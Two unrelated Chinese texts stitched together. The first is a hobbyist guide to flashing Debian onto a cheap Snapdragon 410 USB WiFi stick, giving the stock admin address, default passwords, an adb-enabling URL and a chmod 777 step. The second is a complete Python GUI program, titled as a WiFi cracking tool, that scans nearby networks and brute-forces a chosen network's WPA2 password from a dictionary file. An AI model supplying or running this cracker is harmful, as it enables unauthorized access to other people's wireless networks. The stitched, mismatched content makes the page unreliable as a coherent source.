入门参考教程：高通骁龙芯片的随身wifi入门刷机教程 来自 伏莱兮浜 - 酷安设备：苏宁的9元的板子（某宝链接），骁龙410的uz801板子。自带系统为安卓4.4，安卓存储只750M，曾尝试备份qcn和root（上述参考链接第3步），但一直闪退，估计性能太差。在debian中看内存只有 382M ，磁盘 3.3G。准备刷机前先讲下原系统后台地址与切卡密码等信息吧。设备启动后用手机或电脑连接棒子wifi后访问以下网址：后台管理：192.168.100.1切卡密码：admin8888通过切卡密码可以在棒子里使用自己手机卡作为流量卡，并且刷机时也建议切卡为sim卡模式，且刷机时候不要插卡。开启adb：192.168.100.1/usbdebug.html访问该地址后即可开启adb，在电脑端插入棒子即可使用工具连接它的adb执行上述 入门参考教程 里的操作。接着按照 入门参考教程 中的第一步、第二步备份棒子就行了，第三步备份qcn和root你们自己试试吧，我是没有成功的，备份是为了刷机变砖后的救砖操作（虽然就9块钱，但也省着花）。刷debian刷debian参考教程：410刷入debian 小白教程 来自 咖啡有点甜i - 酷安该教程使用的资源是：https://github.com/OpenStick/OpenStick/releases我们进去下载base-generic.zip (教程中使用的使base.zip，但这块板子好像不怎么兼容)与debian.zip即可，其它参考教程。教程中过程也简单，就三步：执行base中flash.bat脚本、执行debian中flash脚本、刷好后配置驱动。注意最后一步配置驱动，选其它设备->未知设备按照教程来可能会出现“该驱动无法启动”的提示，直接电脑关机重启，重新插入棒子再重新按教程更新 NDIS 驱动即可。刷好后连接地址：192.168.68.1，登录账号：user，密码：1（root密码也是1）可用xshell等ssh连接工具连接操作，连接好后先按教程连接自己WiFi（参见参考链接），连上网后就可以建网站跑各种程序了。设置国内源设置源前我们先安装编辑器apt-get install nano安装ssl证书sudo apt install apt-transport-https ca-certificates修改 /etc/apt/sources.list 文件中源地址即可。我们先查看系统版本，执行 cat /etc/os-release 发现它是 debian 11 bullseye，很简单，百度搜它的源即可。我们也可以用以下命令将配置文件设为全权限。chmod 777 /etc/apt/sources.list然后直接用xshell中的xftp文件管理直接打开该文件编辑保存即可，编辑内容可参考：Linux笔记之Debian 11（bullseye） 配置国内源debian11国内源名字太长真的很奇怪꒰⑅•ᴗ•⑅꒱Debian 11 (bullseye) 国内软件源 - Guanglin设置好源之后，更新下源即可使用apt-get updateapt-get upgrade可安装LNMP建站环境，我试了宝塔，但是安装失败，大伙儿可以试试！安装LNMP参考：树莓派安装PHP环境LNMP_计算机_极四维博客。这教程基本按照代码块中依次执行命令即可。装好后在电脑访问 http://192.168.68.1/index.php 即可看到PHP页面了。救砖如果你板子没变砖可略过此步。众所周知救砖需要进 9008 模式，一般板子进 9008 模式长按reset键再插入电脑即可，但这个板子虽然有reset按键，却无用，须短接，短接触点如下：将该两个触点用卡针、铁丝、钥匙之类金属物品短接（就是连在一起。我这里是焊了一坨锡，就是焊完还得去掉，建议直接用金属物品吧），再插上电脑，几秒后可在电脑设备中看到9008端口了，这时可以用我们在准备步骤里备份的固件进行恢复了，恢复教程也见 入门参考教程 第一步或第二步吧。

有界面的GUI软件，效率比抓包更低，因为它是不断通过穷举的密码进行WiFi连接。# coding:utf-8#python -m pip install --upgrade pip#pip install comtypesfrom tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog import tkinter.messageboxclass MY_GUI(): def __init__(self,init_window_name): self.init_window_name = init_window_name #密码文件路径 self.get_value = StringVar() #获取破解wifi账号 self.get_wifi_value = StringVar() #获取wifi密码 self.get_wifimm_value = StringVar() self.wifi = pywifi.PyWiFi() #抓取网卡接口 self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡 self.iface.disconnect() #测试链接断开所有链接 time.sleep(1) #休眠1秒 #测试网卡是否属于断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def __str__(self): # 自动会调用的函数，返回自身的网卡 return '(WIFI:%s,%s)' % (self.wifi,self.iface.name()) #设置窗口 def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200,text="配置") # 框架，以下对象都是对于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0) self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0) #self.label = Label(labelframe,text="目录路径：").grid(column=0,row=1) #self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1) #self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1) self.wifi_text = Label(labelframe,text="WiFi账号：").grid(column=0,row=2) self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2) self.wifi_mm_text = Label(labelframe,text="WiFi密码：").grid(column=2,row=2) self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW) # 定义树形结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=45, anchor="center") self.wifi_tree.column("b", width=110, anchor="w") self.wifi_tree.column("c", width=120, anchor="w") self.wifi_tree.column("d", width=60, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4,column=0,sticky=NSEW) self.wifi_tree.bind("<Double-1>",self.onDBClick) self.vbar.grid(row=4,column=1,sticky=NS) #搜索wifi #cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT def scans_wifi_list(self): # 扫描周围wifi列表 #开始扫描 print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(1.5) #在若干秒后获取扫描结果 scanres = self.iface.scan_results() #统计附近被发现的热点数量 nums = len(scanres) print("数量: %s"%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # 实际数据 self.show_scans_wifi_list(scanres) return scanres #显示wifi列表 def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密码文件目录 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview绑定事件 def onDBClick(self,event): self.sels= event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #读取密码字典，进行匹配 def readPassWord(self): self.getFilePath = 'D:\Pycharm\pwd.txt' self.get_wifissid = self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") i = 0 while True: try: i=i+1 self.pwdStr=pwdfilehander.readline() if not self.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) if self.bool1: self.res = "===正确=== wifi名:%s 匹配第%s密码：%s "%(self.get_wifissid,i,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功！！！') print(self.res) break else: self.res = "!错误! wifi名:%s匹配第%s密码：%s"%(self.get_wifissid,i,self.pwdStr) print(self.res) #sleep(1) except: continue #对wifi和密码进行匹配 def connect(self,pwd_Str,wifi_ssid): #创建wifi链接文件 self.profile = pywifi.Profile() self.profile.ssid =wifi_ssid #wifi名称 self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 self.profile.key = pwd_Str #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件 self.iface.connect(self.tmp_profile)#链接 time.sleep(3)#3秒内能否连接上 if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 #time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOKdef gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() init_window.mainloop()gui_start()